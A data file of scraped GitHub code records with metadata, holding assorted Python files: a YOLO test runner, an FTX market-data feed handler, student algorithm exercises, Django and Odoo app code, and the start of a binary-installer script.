is_coco_dataset = \"coco\" in args.data.dataset_name\n dataset = COCODataset(\n dataset_path=dataset_path,\n img_size=args.img_size,\n transforms_dict=args.data.test_transforms,\n is_training=False,\n augment=False,\n rect=args.rect,\n single_cls=args.single_cls,\n batch_size=args.per_batch_size,\n stride=max(args.network.stride),\n )\n dataloader = create_loader(\n dataset=dataset,\n batch_collate_fn=dataset.test_collate_fn,\n column_names_getitem=dataset.column_names_getitem,\n column_names_collate=dataset.column_names_collate,\n batch_size=args.per_batch_size,\n epoch_size=1,\n rank=args.rank,\n rank_size=args.rank_size,\n shuffle=False,\n drop_remainder=False,\n num_parallel_workers=args.data.num_parallel_workers,\n python_multiprocessing=True,\n )\n\n # Run test\n test(\n task=args.task,\n network=network,\n dataloader=dataloader,\n anno_json_path=os.path.join(\n args.data.val_set[: -len(args.data.val_set.split(\"/\")[-1])], \"annotations/instances_val2017.json\"\n ),\n conf_thres=args.conf_thres,\n iou_thres=args.iou_thres,\n conf_free=args.conf_free,\n num_class=args.data.nc,\n nms_time_limit=args.nms_time_limit,\n is_coco_dataset=is_coco_dataset,\n imgIds=None if not is_coco_dataset else dataset.imgIds,\n per_batch_size=args.per_batch_size,\n rank=args.rank,\n rank_size=args.rank_size,\n save_dir=args.save_dir,\n synchronizer=Synchronizer(args.rank_size) if args.rank_size > 1 else None,\n )\n e_time = time.time()\n logger.info(f\"Testing completed, cost {e_time - s_time:.2f}s.\")\n\n\nif __name__ == \"__main__\":\n parser = get_parser_test()\n args = parse_args(parser)\n main(args)\n","repo_name":"mindspore-lab/mindyolo","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":20864,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"37"} +{"seq_id":"22968218969","text":"\nsugar = 5\n\n#kerület\nkerulet = 2 * sugar * 3.14\nprint(\"A kör kerülete:\", round(kerulet)) # round() függvény kerekítés\n# strineget és változót vesszővel fűzök össze pl: (\"A kör kerülete:\", round(kerulet))\n\n#terület\nterulet = sugar ** 2 * 3.14\nprint(\"A kör területe:\", terulet)\n","repo_name":"peterteszary/Vasvari-Code-Repository-For-Study-Purposes","sub_path":"Python Projects/Class_Pys/kör.py","file_name":"kör.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"hu","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"12914322351","text":"import asyncio\nimport logging\nfrom decimal import Decimal\nfrom time import time\nimport zlib\nfrom typing import Iterable\n\nimport aiohttp\nfrom sortedcontainers import SortedDict as sd\nfrom yapic import json\n\nfrom cryptofeed.connection import AsyncConnection\nfrom cryptofeed.defines import BID, ASK, BUY\nfrom cryptofeed.defines import FTX as FTX_id\nfrom cryptofeed.defines import FUNDING, L2_BOOK, LIQUIDATIONS, OPEN_INTEREST, SELL, TICKER, TRADES\nfrom cryptofeed.exceptions import BadChecksum\nfrom cryptofeed.feed import Feed\nfrom cryptofeed.standards import symbol_exchange_to_std, timestamp_normalize\n\n\nLOG = logging.getLogger('feedhandler')\n\n\nclass FTX(Feed):\n id = FTX_id\n\n def __init__(self, **kwargs):\n super().__init__('wss://ftexchange.com/ws/', **kwargs)\n\n def __reset(self):\n self.l2_book = {}\n self.funding = {}\n self.open_interest = {}\n\n async def subscribe(self, conn: AsyncConnection):\n self.__reset()\n for chan in set(self.channels or self.subscription):\n symbols = set(self.symbols or self.subscription[chan])\n if chan == FUNDING:\n asyncio.create_task(self._funding(symbols)) # TODO: use HTTPAsyncConn\n continue\n if chan == OPEN_INTEREST:\n asyncio.create_task(self._open_interest(symbols)) # TODO: use HTTPAsyncConn\n continue\n for pair in symbols:\n await conn.send(json.dumps(\n {\n \"channel\": chan,\n \"market\": pair,\n \"op\": \"subscribe\"\n }\n ))\n\n def __calc_checksum(self, pair):\n bid_it = reversed(self.l2_book[pair][BID])\n ask_it = iter(self.l2_book[pair][ASK])\n\n bids = [f\"{bid}:{self.l2_book[pair][BID][bid]}\" for bid in bid_it]\n asks = [f\"{ask}:{self.l2_book[pair][ASK][ask]}\" for ask in ask_it]\n\n if len(bids) == len(asks):\n combined = [val for pair in zip(bids, asks) for val in pair]\n elif len(bids) > len(asks):\n combined = [val for pair in zip(bids[:len(asks)], asks) for val in pair]\n combined += bids[len(asks):]\n else:\n combined = [val for pair in zip(bids, asks[:len(bids)]) for val in pair]\n combined += asks[len(bids):]\n\n computed = \":\".join(combined).encode()\n return zlib.crc32(computed)\n\n async def _open_interest(self, pairs: Iterable):\n \"\"\"\n {\n \"success\": true,\n \"result\": {\n \"volume\": 1000.23,\n \"nextFundingRate\": 0.00025,\n \"nextFundingTime\": \"2019-03-29T03:00:00+00:00\",\n \"expirationPrice\": 3992.1,\n \"predictedExpirationPrice\": 3993.6,\n \"strikePrice\": 8182.35,\n \"openInterest\": 21124.583\n }\n }\n \"\"\"\n\n rate_limiter = 1 # don't fetch too many pairs too fast\n async with aiohttp.ClientSession() as session:\n while True:\n for pair in pairs:\n # OI only for perp and futures, so check for / in pair name indicating spot\n if '/' in pair:\n continue\n end_point = f\"https://ftx.com/api/futures/{pair}/stats\"\n async with session.get(end_point) as response:\n data = await response.text()\n data = json.loads(data, parse_float=Decimal)\n if 'result' in data:\n oi = data['result']['openInterest']\n if oi != self.open_interest.get(pair, None):\n await self.callback(OPEN_INTEREST,\n feed=self.id,\n symbol=pair,\n open_interest=oi,\n timestamp=time(),\n receipt_timestamp=time()\n )\n self.open_interest[pair] = oi\n await asyncio.sleep(rate_limiter)\n wait_time = 60\n await asyncio.sleep(wait_time)\n\n async def _funding(self, pairs: Iterable):\n \"\"\"\n {\n \"success\": true,\n \"result\": [\n {\n \"future\": \"BTC-PERP\",\n \"rate\": 0.0025,\n \"time\": \"2019-06-02T08:00:00+00:00\"\n }\n ]\n }\n \"\"\"\n # do not send more than 30 requests per second: doing so will result in HTTP 429 errors\n rate_limiter = 0.1\n # funding rates do not change frequently\n wait_time = 60\n async with aiohttp.ClientSession() as session:\n while True:\n for pair in pairs:\n if '-PERP' not in pair:\n continue\n async with session.get(f\"https://ftx.com/api/funding_rates?future={pair}\") as response:\n data = await response.text()\n data = json.loads(data, parse_float=Decimal)\n\n last_update = self.funding.get(pair, None)\n update = str(data['result'][0]['rate']) + str(data['result'][0]['time'])\n if last_update and last_update == update:\n continue\n else:\n self.funding[pair] = update\n\n await self.callback(FUNDING, feed=self.id,\n symbol=symbol_exchange_to_std(data['result'][0]['future']),\n rate=data['result'][0]['rate'],\n timestamp=timestamp_normalize(self.id, data['result'][0]['time']))\n await asyncio.sleep(rate_limiter)\n await asyncio.sleep(wait_time)\n\n async def _trade(self, msg: dict, timestamp: float):\n \"\"\"\n example message:\n\n {\"channel\": \"trades\", \"market\": \"BTC-PERP\", \"type\": \"update\", \"data\": [{\"id\": null, \"price\": 10738.75,\n \"size\": 0.3616, \"side\": \"buy\", \"liquidation\": false, \"time\": \"2019-08-03T12:20:19.170586+00:00\"}]}\n \"\"\"\n for trade in msg['data']:\n await self.callback(TRADES, feed=self.id,\n symbol=symbol_exchange_to_std(msg['market']),\n side=BUY if trade['side'] == 'buy' else SELL,\n amount=Decimal(trade['size']),\n price=Decimal(trade['price']),\n order_id=None,\n timestamp=float(timestamp_normalize(self.id, trade['time'])),\n receipt_timestamp=timestamp)\n if bool(trade['liquidation']):\n await self.callback(LIQUIDATIONS,\n feed=self.id,\n symbol=symbol_exchange_to_std(msg['market']),\n side=BUY if trade['side'] == 'buy' else SELL,\n leaves_qty=Decimal(trade['size']),\n price=Decimal(trade['price']),\n order_id=None,\n timestamp=float(timestamp_normalize(self.id, trade['time'])),\n receipt_timestamp=timestamp\n )\n\n async def _ticker(self, msg: dict, timestamp: float):\n \"\"\"\n example message:\n\n {\"channel\": \"ticker\", \"market\": \"BTC/USD\", \"type\": \"update\", \"data\": {\"bid\": 10717.5, \"ask\": 10719.0,\n \"last\": 10719.0, \"time\": 1564834587.1299787}}\n \"\"\"\n await self.callback(TICKER, feed=self.id,\n symbol=symbol_exchange_to_std(msg['market']),\n bid=Decimal(msg['data']['bid'] if msg['data']['bid'] else 0.0),\n ask=Decimal(msg['data']['ask'] if msg['data']['ask'] else 0.0),\n timestamp=float(msg['data']['time']),\n receipt_timestamp=timestamp)\n\n async def _book(self, msg: dict, timestamp: float):\n \"\"\"\n example messages:\n\n snapshot:\n {\"channel\": \"orderbook\", \"market\": \"BTC/USD\", \"type\": \"partial\", \"data\": {\"time\": 1564834586.3382702,\n \"checksum\": 427503966, \"bids\": [[10717.5, 4.092], ...], \"asks\": [[10720.5, 15.3458], ...], \"action\": \"partial\"}}\n\n update:\n {\"channel\": \"orderbook\", \"market\": \"BTC/USD\", \"type\": \"update\", \"data\": {\"time\": 1564834587.1299787,\n \"checksum\": 3115602423, \"bids\": [], \"asks\": [[10719.0, 14.7461]], \"action\": \"update\"}}\n \"\"\"\n check = msg['data']['checksum']\n if msg['type'] == 'partial':\n # snapshot\n pair = symbol_exchange_to_std(msg['market'])\n self.l2_book[pair] = {\n BID: sd({\n Decimal(price): Decimal(amount) for price, amount in msg['data']['bids']\n }),\n ASK: sd({\n Decimal(price): Decimal(amount) for price, amount in msg['data']['asks']\n })\n }\n if self.checksum_validation and self.__calc_checksum(pair) != check:\n raise BadChecksum\n await self.book_callback(self.l2_book[pair], L2_BOOK, pair, True, None, float(msg['data']['time']), timestamp)\n else:\n # update\n delta = {BID: [], ASK: []}\n pair = symbol_exchange_to_std(msg['market'])\n for side in ('bids', 'asks'):\n s = BID if side == 'bids' else ASK\n for price, amount in msg['data'][side]:\n price = Decimal(price)\n amount = Decimal(amount)\n if amount == 0:\n delta[s].append((price, 0))\n del self.l2_book[pair][s][price]\n else:\n delta[s].append((price, amount))\n self.l2_book[pair][s][price] = amount\n if self.checksum_validation and self.__calc_checksum(pair) != check:\n raise BadChecksum\n await self.book_callback(self.l2_book[pair], L2_BOOK, pair, False, delta, float(msg['data']['time']), timestamp)\n\n async def message_handler(self, msg: str, conn, timestamp: float):\n\n msg = json.loads(msg, parse_float=Decimal)\n if 'type' in msg and msg['type'] == 'subscribed':\n return\n elif 'channel' in msg:\n if msg['channel'] == 'orderbook':\n await self._book(msg, timestamp)\n elif msg['channel'] == 'trades':\n await self._trade(msg, timestamp)\n elif msg['channel'] == 'ticker':\n await self._ticker(msg, timestamp)\n else:\n LOG.warning(\"%s: Invalid message type %s\", self.id, msg)\n else:\n LOG.warning(\"%s: Invalid message type %s\", self.id, msg)\n","repo_name":"Quirky-Fox/cryptofeed-old","sub_path":"cryptofeed/exchange/ftx.py","file_name":"ftx.py","file_ext":"py","file_size_in_byte":11353,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"10512418600","text":"## 로그파일재정렬\nfrom typing import *\nimport operator\n## 내풀이\ndef my_solution(logs: List[str]) -> List[str]:\n digit_list = []\n letter_list = []\n for log in logs:\n identifier = \"\".join(log.split(\" \")[1::])\n if identifier.isdigit():\n digit_list.append(log)\n else:\n letter_list.append(log)\n\n\n\n for i, v in enumerate(letter_list):\n\n\n for i1 in range(i + 1, len(letter_list)):\n main_identifier = letter_list[i].split(\" \")[0]\n main_content = letter_list[i].split(\" \")[1::]\n\n identifier = letter_list[i1].split(\" \")[0]\n content = letter_list[i1].split(\" \")[1::]\n\n if (content == main_content and identifier < main_identifier) or (content < main_content):\n temp_letter = letter_list[i1]\n letter_list[i1] = letter_list[i]\n letter_list[i] = temp_letter\n\n return letter_list + digit_list\n\ndef my_solution1(logs: []) -> []:\n digit_list = []\n letter_list = []\n for log in logs:\n identifier = \"\".join(log.split(\" \")[1::])\n if identifier.isdigit():\n digit_list.append(log)\n else:\n letter_list.append(log)\n\n\n\n for i, v in enumerate(letter_list):\n\n\n for i1 in range(i + 1, len(letter_list)):\n main_identifier = letter_list[i].split(\" \")[0]\n main_content = letter_list[i].split(\" \")[1::]\n\n identifier = letter_list[i1].split(\" \")[0]\n content = letter_list[i1].split(\" \")[1::]\n\n if (content == main_content and identifier < main_identifier) or (content < main_content):\n temp_letter = letter_list[i1]\n letter_list[i1] = letter_list[i]\n letter_list[i] = temp_letter\n\n return letter_list + digit_list\n\n\ndef my_solution2(logs: List[str]) -> List[str]:\n digits = []\n letters = []\n\n for l in logs:\n if l.split()[1].isdigit():\n digits.append(l)\n else:\n letters.append([l.split()[0], l.split()[1::]])\n\n letters = sorted(letters, key=operator.itemgetter(1,0))\n re_letters = []\n for let in letters:\n re_letters.append(let[0]+ \" \" + \" \".join(let[1]))\n\n return re_letters + digits\n\n## 람다와 + 연산자 이용\ndef solution1(logs: []) -> []:\n letters, digits = [], []\n\n for log in logs:\n if log.split()[1].isdigit():\n digits.append(log)\n else:\n letters.append(log)\n\n letters.sort(key=lambda x: (x.split()[1:], x.split()[0]))\n return letters + digits\nif __name__ == '__main__':\n\n print(my_solution2([\"a1 9 2 3 1\",\"g1 act car\",\"zo4 4 7\",\"ab1 off key dog\",\"a8 act zoo\",\"a7 act zoo\"]))\n # [\"27 85717 7\", \"2 y xyr fc\", \"52 314 99\", \"d 046099 0\", \"m azv x f\", \"7e apw c y\", \"8 hyyq z p\", \"6 3272401\",\n # \"c otdk cl\", \"8 ksif m u\"]\n\n","repo_name":"OnMyTeam/Algorithm","sub_path":"Python/reorderlogfiles(937).py","file_name":"reorderlogfiles(937).py","file_ext":"py","file_size_in_byte":2864,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"40178868561","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport argparse\n\n\ndef init_arg():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-i\")\n parser.add_argument(\"-o\")\n parser.add_argument(\"--xname\")\n parser.add_argument(\"--yname\")\n return parser.parse_args()\n\n\nif __name__ == '__main__':\n\n args = init_arg()\n\n xname = args.xname\n yname = args.yname\n \n idir = args.i\n fn_fdr = '{}/{}_{}_FDR.csv'.format(idir, xname, yname)\n fn_tpr = '{}/{}_{}_TPR.csv'.format(idir, xname, yname)\n\n df_fdr = pd.read_csv(fn_fdr)\n df_tpr = pd.read_csv(fn_tpr)\n col_lst = list(df_fdr.columns)\n fdr_lst = []\n tpr_lst = []\n for col in col_lst:\n fdr_lst.append(np.mean(df_fdr[col]))\n tpr_lst.append(np.mean(df_tpr[col]))\n\n plt.plot(tpr_lst, label='tpr')\n plt.plot(fdr_lst, label='fdr')\n plt.legend()\n plt.title('column wise mean of tpr and fdr for {} {}'.format(xname, yname))\n if args.o is None:\n plt.show()\n else:\n plt.savefig(args.o)\n","repo_name":"jzy95310/mlforhealthlabpub","sub_path":"alg/knockoffgan/plot_fdr_tpr.py","file_name":"plot_fdr_tpr.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"38454161519","text":"#!/usr/bin/env python3\n\n#importe indirectement tp5 et tp5_ex* pour * < 3\nfrom tp5_ex3 import *\nfrom math import sqrt\n\n#\n# À COMPLÉTER !\n#\n''' renvoie un ABR de taille n construit par insertions successives\n des éléments de la permutation perm (de taille n^2), puis suppression\n d'éléments aléatoires '''\ndef genererABRparInsPuisSup(perm) :\n arbre=Vide\n lenPerm=len(perm)\n for i in range(0,lenPerm):\n insertionABR(arbre,perm[i])\n for i in range(0,lenPerm-(int(sqrt(lenPerm)))):\n suppressionABR(arbre,perm[i],True)\n return arbre\n\n#\n# À COMPLÉTER !\n#\n''' renvoie un couple (ABR, taille) construit par\n insertions/supressions successives entremêlées des éléments de\n permins et permsup respectivement '''\ndef genererABRparInsEtSup(permins, permsup) :\n arbre = Vide\n taille=0\n for i in range(0,len(permins)):\n if i%2==0:\n insertionABR(arbre, permins[i])\n taille+=1\n else:\n if suppressionABR(arbre,permsup[i],True) is not None:\n taille-=1\n return arbre,taille\n\n#\n# À COMPLÉTER !\n#\n''' renvoie le tableau des hauteurs de m arbres de taille n,\n construits par genererABRparInsPuisSup '''\ndef statsHauteursABRparInsPuisSup(n, m) :\n res = []\n for i in range(m):\n arbre = genererABRparInsPuisSup(permutation(n))\n tmp = hauteur(arbre)\n res.append(tmp)\n return res\n\n#\n# À COMPLÉTER !\n#\n''' renvoie le tableau des (taille, hauteur)s de m arbres\n construits par genererABRparInsEtSup sur 2 permutations de taille 2n '''\ndef statsHauteursABRparInsEtSup(n, m) :\n res = []\n for i in range(m):\n arbre,taille = genererABRparInsEtSup(permutation(2*n),permutation(2*n))\n res+=[(taille,hauteur(arbre))]\n return res\n\n#\n# NE PAS MODIFIER\n#\n\ndef tracerInsPuisSup(limite, pas, m):\n print('Test InsPuisSup')\n lx, ly, ly_moy = [], [], []\n for i in range(1, limite, pas) :\n print('Stat calculée : %d / %d' % (i, limite), end=\"\\r\")\n tmp = statsHauteursABRparInsPuisSup(i, m)\n lx.extend([i]*m)\n ly.extend(tmp)\n ly_moy.append(sum(tmp)/m)\n print('Stat calculée : %d / %d' % (limite, limite))\n plt.plot([(math.log(i,2) if i>0 else 0) for i in range(limite)], color=\"blue\")\n plt.plot(lx, ly, '.', color=\"orange\")\n plt.plot(range(1,limite,pas), ly_moy, color=\"red\")\n plt.ylabel('hauteur(n)')\n plt.xlabel('n = nombre noeuds')\n plt.title('Distribution des hauteurs d\\'arbres aléatoires obtenus par insertions puis suppressions')\n plt.show()\n print('')\n\ndef tracerInsEtSup(limite, pas, m):\n print('Test InsEtSup')\n lx, ly = [], []\n plt.plot([(math.log(i,2) if i>0 else 0) for i in range(limite)], color=\"blue\")\n for i in range(1, limite, pas) :\n print('Stat calculée : %d / %d' % (i, limite), end=\"\\r\")\n tailles, hauteurs = list(zip(*statsHauteursABRparInsEtSup(i, m)))\n lx.extend(tailles)\n ly.extend(hauteurs)\n print('Stat calculée : %d / %d' % (limite, limite))\n plt.plot(lx, ly, '.', color=\"green\")\n plt.ylabel('hauteur(n)')\n plt.xlabel('n = nombre noeuds')\n plt.title('Distribution des hauteurs d\\'arbres aléatoires obtenus par insertions et suppressions')\n plt.show()\n print('')\n\n\nif __name__ == '__main__':\n tracerInsPuisSup(100,5,5)\n tracerInsEtSup(1000,50,10)\n","repo_name":"ryohkhn/University","sub_path":"L2/EA2/TP5/tp5_ex4.py","file_name":"tp5_ex4.py","file_ext":"py","file_size_in_byte":3363,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"494764451","text":"from .forms import Post_info_form, Upload_image_form, SearchForm\nfrom zipfile import ZipFile\nfrom .models import Post,UploadImages\nfrom os.path import basename\nfrom django.http import HttpResponse\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.db.models import Q\nfrom django.views.generic import ListView, View, DeleteView\nfrom django.core.exceptions import ObjectDoesNotExist, ImproperlyConfigured\nfrom django.db.models.query import QuerySet\n\n\nclass SearchView(View):\n \n def get(self, *args, **kwargs):\n form = SearchForm()\n context = {'form':form}\n return render(self.request,\"HomePage.html\",context)\n\n def post(self, *args, **kwargs):\n # Must get data with forms.ChoiceField() , create choise dictionary, but .... it's too long \n Class = self.request.POST.get('Class')\n matiere = self.request.POST.get('matiere')\n nature = self.request.POST.get('nature')\n \n return redirect(\"isima_trivez:list_of_post\",Class,matiere,nature)\n\n\n\nclass PostsView(ListView):\n template_name = 'PostPage.html'\n model = Post\n queryset = None\n \n def get_ordering(self):\n #Return the field or fields to use for ordering the queryset.\n return self.ordering\n\n def get_queryset(self,*args):\n\n matiere = self.kwargs['matiere'] \n Class = self.kwargs['Class'] \n nature = self.kwargs['nature'] \n # print('============================================') \n # print(Class)\n \n if (not args )== True :\n # print(\"homepage\")\n if self.queryset is not None:\n queryset = self.queryset\n if isinstance(queryset,QuerySet):\n queryset = queryset.all()\n\n elif self.model is not None :\n queryset = self.model.objects.filter(\n Q(matire=matiere)| \n Q(degree=Class) | \n Q(nature=nature)\n )\n\n \n\n else :\n raise ImproperlyConfigured(\n \"%(cls)s is missing a QuerySet. Define \"\n \"%(cls)s.model, %(cls)s.queryset, or override \"\n \"%(cls)s.get_queryset().\" % {\n 'cls': self.__class__.__name__\n })\n elif (not args) == False:\n # print(\"post_list_page\")\n if self.model is not None :\n \n queryset = self.model.objects.filter(\n Q(matire=args[0]) |\n Q(degree=args[1]) | \n Q(nature=args[2])\n )\n print(f\"=============={queryset}\")\n \n ordering = self.get_ordering()\n if ordering : \n if isinstance(ordering, str):\n ordering = (ordering,)\n queryset = queryset.order_by(*ordering)\n return queryset\n\n def post(self, request, *args, **kwargs):\n Class = self.request.POST.get('Class')\n matiere = self.request.POST.get('matiere')\n nature = self.request.POST.get('nature')\n object_list = self.get_queryset(matiere,Class, nature)\n\n return render(request, self.template_name, {'object_list':object_list})\n\n \n#####TODO: try this function to get url images \n #views.py\n# multi_image_instance = MultiImage.objects.get(id=...)\n# images = multi_image_instance.other_images # this will return a QuerySet\n# ================================================\n ##templates\n# {% for image in images %}\n# <img src={image.image.url} />\n# {% endfor %}\n\n \n\n\n\ndef upload_post(request):\n \n if request.method == 'POST':\n post_info = Post_info_form(request.POST)\n \n images_uploded = Upload_image_form(request.POST or None, request.FILES or None)\n image = request.FILES.getlist('image')\n \n\n if post_info.is_valid() and images_uploded.is_valid():\n post = post_info.save(commit=False)\n post.save()\n for f in image:\n \n photos = UploadImages(post=post, image = f)\n \n photos.save()\n else:\n post_info = Post_info_form()\n images_uploded = Upload_image_form()\n context = {\n 'post_info': post_info,\n 'images_uploded': images_uploded\n }\n return render(request, 'PostDetail.html', context)\n\n\n\ndef download_zip_file(self, pk):\n \"\"\"Download archive zip file of code snippets\"\"\"\n queryset = get_object_or_404(Post, pk=pk)\n image_list = queryset.uploadimages_set.all()\n response = HttpResponse(content_type='application/zip')\n zf = ZipFile(response, 'w')\n ZIPFILE_NAME = \"test.zip\"\n for image in image_list:\n url = image.image.url\n url = f\"{settings.MEDIA_ROOT}{url[6:]}\"\n zf.write(url, basename(url))\n\n response['Content-Disposition'] = f'attachment; filename={ZIPFILE_NAME}'\n return response\n\n\n\n\n\n\n","repo_name":"Omdaprog/ISIMA","sub_path":"isima_trivez/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39652083075","text":"import os\n\n\nSERVICE_VARIANT = os.environ[\"SERVICE_VARIANT\"]\nassert SERVICE_VARIANT in (\"lms\", \"cms\")\nexec(\"from {}.envs.derex.base import *\".format(SERVICE_VARIANT), globals(), locals())\n\nUSE_I18N = True\n# LANGUAGE_CODE = \"de-de\"\n\n# Id of the site fixture to use, instead of looking up the hostname\nSITE_ID = 1\n\n# Notes settings\nFEATURES[\"ENABLE_EDXNOTES\"] = True # type: ignore # noqa\nEDXNOTES_PUBLIC_API = \"http://localhost:8120/api/v1\"\nEDXNOTES_INTERNAL_API = \"http://notes:8120/api/v1\"\n","repo_name":"Abstract-Tech/derex.runner","sub_path":"examples/notes/settings/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"37"} +{"seq_id":"25560251856","text":"#if A[K]=X 이면 increate\n#if A[K]=N+1 이면 max counter\n#[3,4,4,6,1,4,4]\n\ndef solution(N,A):\n result=[0]*N\n for i in A:\n if 1<=i<=N:\n result[i-1]+=1\n else:\n result=[max(result)]*N\n return result\n","repo_name":"vvspearlvvs/CodingTest","sub_path":"6.Codility/4.3 MaxCounters/co.py","file_name":"co.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19726349327","text":"from odoo import models, fields, api\n\nclass EstatePropertyType(models.Model):\n _name = \"estate.property.type\"\n _description = \"estate.property.type\"\n _order = \"sequence, name\"\n\n name = fields.Char(\"Type\", required=True)\n sequence = fields.Integer(\"Sequence\", default=1)\n property_ids = fields.One2many(\"estate.property\", \"property_type_id\", string=\"Properties\")\n\n offer_ids = fields.One2many(\"estate.property.offer\", \"property_type_id\")\n\n offer_count = fields.Integer(\"Offers\", compute=\"_compute_offer_count\")\n @api.depends(\"offer_ids\")\n def _compute_offer_count(self):\n # This solution is quite complex. It is likely that the trainee would have done a search in\n # a loop.\n data = self.env[\"estate.property.offer\"].read_group(\n [(\"property_id.state\", \"!=\", \"canceled\"), (\"property_type_id\", \"!=\", False)],\n [\"ids:array_agg(id)\", \"property_type_id\"],\n [\"property_type_id\"],\n )\n mapped_count = {d[\"property_type_id\"][0]: d[\"property_type_id_count\"] for d in data}\n mapped_ids = {d[\"property_type_id\"][0]: d[\"ids\"] for d in data}\n for prop_type in self:\n prop_type.offer_count = mapped_count.get(prop_type.id, 0)\n prop_type.offer_ids = mapped_ids.get(prop_type.id, [])\n\n _sql_constraints = [\n (\"name_unique\", \"unique (name)\", \"Type name already exists\"),\n ]\n","repo_name":"fvkugit/odooapps","sub_path":"estate/models/estate_property_type.py","file_name":"estate_property_type.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71417502186","text":"import random\nW = '\\33[0m'\nR = '\\33[31m'\nG = '\\33[32m'\nO = '\\33[33m'\nB = '\\33[34m'\nP = '\\33[35m'\ncolor = [W, R, G, O, B, P]\na = 1\nb = 1\nchoice2 = []\nn = 0\nN = 0\nwhile (N <= 0) or (n <= 0) or (N <= n):\n n = int(input(\"How many color do you want (below or equals to 6)? \\n\"))\n col = color[:n]\n N = int(input(\"How many integer...(above the number of colors)\\n\"))\n\nfor i in range(1, N + 1):\n choice = random.choice(col)\n print(choice, i, end=\" \")\n choice2.append(choice)\n","repo_name":"popolito1/Project-1-Schur-s-Number","sub_path":"Exercices/3.2.2.py","file_name":"3.2.2.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"42592586636","text":"#!/usr/bin/env python3\n\n\"\"\"Downloads and installs binary packages.\n\nUses a provided config file of packages (and included metadata) to download, extract, and\ninstall each package. It is also able to handle extracting binaries from certain archive types.\n\nFor more information, see the included README file.\n\nExamples:\n\n For example usage, see `python3 infrastaller.py --help`.\n\"\"\"\n\nimport json\nimport os\nimport shutil\nimport sys\nimport tarfile\nimport tempfile\nimport urllib.request\nimport zipfile\nfrom collections.abc import Mapping\nfrom pathlib import Path, PurePath\nfrom typing import Union\n\nimport click\nimport logzero\nfrom logzero import logger\n\nDEFAULT_BIN_PATH = Path(\"/usr/local/bin\")\nDEFAULT_CONFIG_PATH = Path.cwd() / \"packages.json\"\n#\n# `SYSTEM` and `MACHINE` are used for replacing templated strings in the config file, namely\n# the `url` and `file_to_extract` fields. `SYSTEM` should resolve to 'linux' or 'darwin', and\n# `MACHINE` is normally 'x86_64' (this may change with new Apple hardware eventually). But most\n# download links use 'amd64' instead of 'x86_64', so this replacement is done here.\n#\nSYSTEM = os.uname().sysname.lower()\nMACHINE = os.uname().machine.lower().replace(\"x86_64\", \"amd64\")\n\n\ndef configure_logging(verbosity: str) -> None:\n \"\"\"Configures logzero verbosity.\"\"\"\n\n logging_levels = {\n \"quiet\": {\"output\": logzero.NOTSET, \"format\": \"\"},\n \"normal\": {\"output\": logzero.INFO, \"format\": \"%(color)s%(message)s%(end_color)s\"},\n \"verbose\": {\"output\": logzero.DEBUG, \"format\": \"%(color)s%(message)s%(end_color)s\"},\n \"debug\": {\n \"output\": logzero.DEBUG,\n \"format\": (\n \"[%(levelname)8s %(asctime)s %(funcName)s:%(lineno)d] \"\n \"%(color)s%(message)s%(end_color)s\"\n ),\n },\n }\n\n logzero.loglevel(logging_levels[verbosity][\"output\"])\n logzero.formatter(formatter=logzero.LogFormatter(fmt=logging_levels[verbosity][\"format\"]))\n\n\n@click.command()\n@click.option(\n \"-b\",\n \"--bin-path\",\n default=DEFAULT_BIN_PATH,\n type=click.Path(exists=True),\n help=f\"Full path to binary install location (default: {DEFAULT_BIN_PATH}).\",\n)\n@click.option(\n \"-c\",\n \"--config\",\n default=DEFAULT_CONFIG_PATH,\n type=click.Path(exists=True),\n help=f\"Full path to config file (default: {DEFAULT_CONFIG_PATH}).\",\n)\n@click.option(\n \"-p\",\n \"--package\",\n type=str,\n multiple=True,\n help=\"Specific package(s), defined in config file, to install.\",\n)\n@click.option(\n \"-g\",\n \"--group\",\n type=str,\n multiple=True,\n help=\"Specific group(s) of packages, defined in config file, to install.\",\n)\n@click.option(\n \"-o\",\n \"--output\",\n default=\"normal\",\n type=click.Choice([\"quiet\", \"normal\", \"verbose\", \"debug\"], case_sensitive=False),\n help=\"Set script output type (default: normal).\",\n)\ndef infrastaller(bin_path: str, config: str, package: tuple, group: tuple, output: str) -> None:\n \"\"\"Downloads and installs binaries.\n\n \\b\n Install all packages to default location:\n $ python3 infrastaller.py\n\n \\b\n Install packages to a custom location:\n $ python3 infrastaller.py --bin-path /root/bin\n\n \\b\n Read config from a custom location:\n $ python3 infrastaller.py --config /etc/my_packages.json\n\n \\b\n Install specific packages from config file:\n $ python3 infrastaller.py --package binary2 --package binary3\n\n \\b\n Install a group of packages and an individual package:\n $ python3 infrastaller.py --group my-packages --package binary2\n\n \\b\n Enable verbose output:\n $ python3 infrastaller.py --output verbose\n \"\"\"\n\n configure_logging(output)\n\n with open(config, \"rb\") as json_config:\n logger.debug(\"Reading config file %s\", config)\n packages_data = json.loads(json_config.read())\n\n for pkg_group, binaries in packages_data.items():\n for binary, appinfo in binaries.items():\n #\n # Package should be installed 